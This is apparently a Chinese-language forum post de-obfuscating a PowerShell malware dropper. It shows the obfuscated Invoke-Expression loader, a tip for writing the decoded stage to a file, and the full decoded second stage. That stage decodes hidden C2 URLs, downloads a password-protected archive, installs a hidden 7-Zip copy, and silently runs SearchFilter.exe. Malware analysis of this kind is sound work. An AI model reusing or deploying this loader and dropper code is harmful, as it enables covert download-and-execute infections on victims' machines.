oiIiP7G+msZY5T6e425i3lofu1xX9Tit9YBT6yXBOs/wgojSqqW07ya/8/A4leLKJ1Hjx/j1pI2VPALcB6wfhApmQKE5vhOCz7IyVNJNIWTwyc1DFSwl68WPFbfGOCzSsXNLmaT8NOyawy05Me4BwfFrMu0xbwFO79L3aNEqSsQoB3y8wOvW/wn7VFn5J9pOfftveC9nQqrynSD9CtgW/EgjAG1ER1Yf2jNquZTqyYWiCniBhAsrd/wRKqunsEvI1/43XlpAstnnTViRH33byZM+auON1jwySXwEnfJewR8yDfKKv6vvHGHXWTF75EnQnwbpdTe6EFPObB8ZRgshk7Vz/GNQ3BFJrjyUDlHzVMbTks2vnpq0n5lv47aggnyIrheVqtroOA1WYzGaOJ2c1bENQb2NntctOByV2ZHq+vaocz+WpUaOqtUraHNNsHsKD/bnKN7Mkq6GSAbG9ePGTrE0bSynbJogc0V/ViOQo2nG81o4hXDlR/Ys2soIjddvyS487p5BGGsdBHLeNMPn0gX0PNQzUXhh6USsE2BBb4gk31h0FvVZQkSXDI5t4G1gheUKZFXXeXcSGfx/TsxSvW0QjQHuY6C7F7qr8TJeZiQcAhYXVeWZLpn3rpkO6/G5t54cMht/Yb6uXDOPbO4tCGqhlFmcIWZw2svhVKrNJF9KTbX2vM4l8b4ZpK1qUcTjtTAHMsQ1fKoNyjWlbLgJsp53IBkO6dZwRailU9UZbZYxz3ienyL72VkT3JHyyRzMI1CLhoG9QLlth8O2w5GCYeteKfwwbJKztPNTUCjZutobaRLPG+4x2t+28aTJvTiKwfKSGH8OA+wiXUln2IOISO3UnHvQVBRRc7QG3nloONvdBTEOpefleXLpya6SwjlNyf9KqyK6oR0Mll9jPtiPJKK6alN7wqh+a73jF3xxcx7cQj3uluSKhSjsumr/2StZYIX1ELNxy/TvEpvWWklfJ6RdPmXFpseTadUc2z";$tm = $eB.ToCharArray();::Reverse($tm);$R = D -eBZ $tm -enc "";$t = $R.ToCharArray(); ::Reverse($t); $BVV = ::UTF8.GetString(::FromBase64String(-join $t)); $EPX = "Invoke-Expression"; New-Alias -Name pWN -Value $EPX -Force; pWN $BVV$EPX = "Invoke-Expression"; New-Alias -Name pWN -Value $EPX -Force; pWN $BVV又是执行的命令去掉，改成$BVV| Out-File -FilePath "output.txt" -Encoding utf8保存解密后的数据到output.txt
纯文本查看 复制代码
?1function rl { try { p "wr3DqMK3w5vDp2fCl2XCr8OZw6LCnsKNw53Do8OCwqPCtsOQw6bCjsObwq3CrMORw6LCn8OSw7LCo8OHw5XCug==" } catch { l } }; function l { try { p "wr3DqMK3w5vDp2fCl2XCrcOcw6nClMOOw6zDosKCw6fCssORw6hbw4/CosKmw6HDnMKZwo3Dp8OZwoTDpMKyw5vDl8Kcw5rCpMKww5zDn8Klwo3Dp8OZ" } catch { x } }; function x { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEw5zDncODwqLCpsOaw6Fcw5rCl8K0wpzDhXTCj8OCwqjDh8Ocwo0=" } catch { o } }; function o { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEw6TDqcOIw6jCrMOfwqLCkMOXwqNsw5/DmsKowo7DrsOawrbDqcK9w47DoGLDoMKg" } catch { Start-Sleep -Seconds 20; rl } }; function p { param ($e) if (-not $e) { return } try { $d = d -mm $e -k $prooc; $r = Invoke-RestMethod -Uri $d; if ($r) { $dl = d -mm $r -k $proc } $g = ::NewGuid().ToString(); $t = ::GetTempPath(); $f = Join-Path $t ($g + ".7z"); $ex = Join-Path $t (::NewGuid().ToString()); $c = New-Object System.Net.WebClient; $b = $c.DownloadData($dl); if ($b.Length -gt 0) { ::WriteAllBytes($f, $b); e -a $f -o $ex; $exF = Join-Path $ex "SearchFilter.exe"; if (Test-Path $exF) { Start-Process -FilePath $exF -WindowStyle Hidden } if (Test-Path $f) { Remove-Item $f } } } catch { throw } }; $prooc = "UtCkt-h6=my1_zt"; function d { param ($mm, $k) try { $b = ::FromBase64String($mm); $s = ::UTF8.GetString($b); $d = New-Object char[] $s.Length; for ($i = 0; $i -lt $s.Length; $i++) { $c = $s[$i]; $p = $k[$i % $k.Length]; $d[$i] = ($c - $p) }; return -join $d } catch { throw } }; $proc = "qpb9,83M8n@~{ba;W`$,}"; function v { param ($i) $b = ::FromBase64String($i); $s = ::UTF8.GetString($b); $c = $s -split ' '; $r = ""; foreach ($x in $c) { $r += $x }; return $r }; function e { param ($a, $o) $s = "MTA0IDgyIDUxIDk0IDM4IDk4IDUwIDM3IDY1IDU3IDMzIDEwMyA3NSA0MiA1NCA3NiAxMTMgODAgNTUgMTE2IDM2IDc4IDExMiA4Nw=="; $p = v -i $s; $z = "C:ProgramDatasevenZip7z.exe"; $arg = "x `"$a`" -o`"$o`" -p$p -y"; Start-Process -FilePath $z -ArgumentList $arg -WindowStyle Hidden -Wait }; $d = "C:ProgramDatasevenZip"; if (-not (Test-Path "$d7z.exe")) { New-Item -ItemType Directory -Path $d -Force | Out-Null; $u = "https://www.7-zip.org/a/7zr.exe"; $o = Join-Path -Path $d -ChildPath "7z.exe"; $wc = New-Object System.Net.WebClient; $wc.DownloadFile($u, $o); $wc.Dispose(); Set-ItemProperty -Path $o -Name Attributes -Value (::Hidden -bor ::System) -ErrorAction SilentlyContinue; Set-ItemProperty -Path $d -Name Attributes -Value (::Hidden -bor ::System) -ErrorAction SilentlyContinue }; rl最后这个抽空再解密了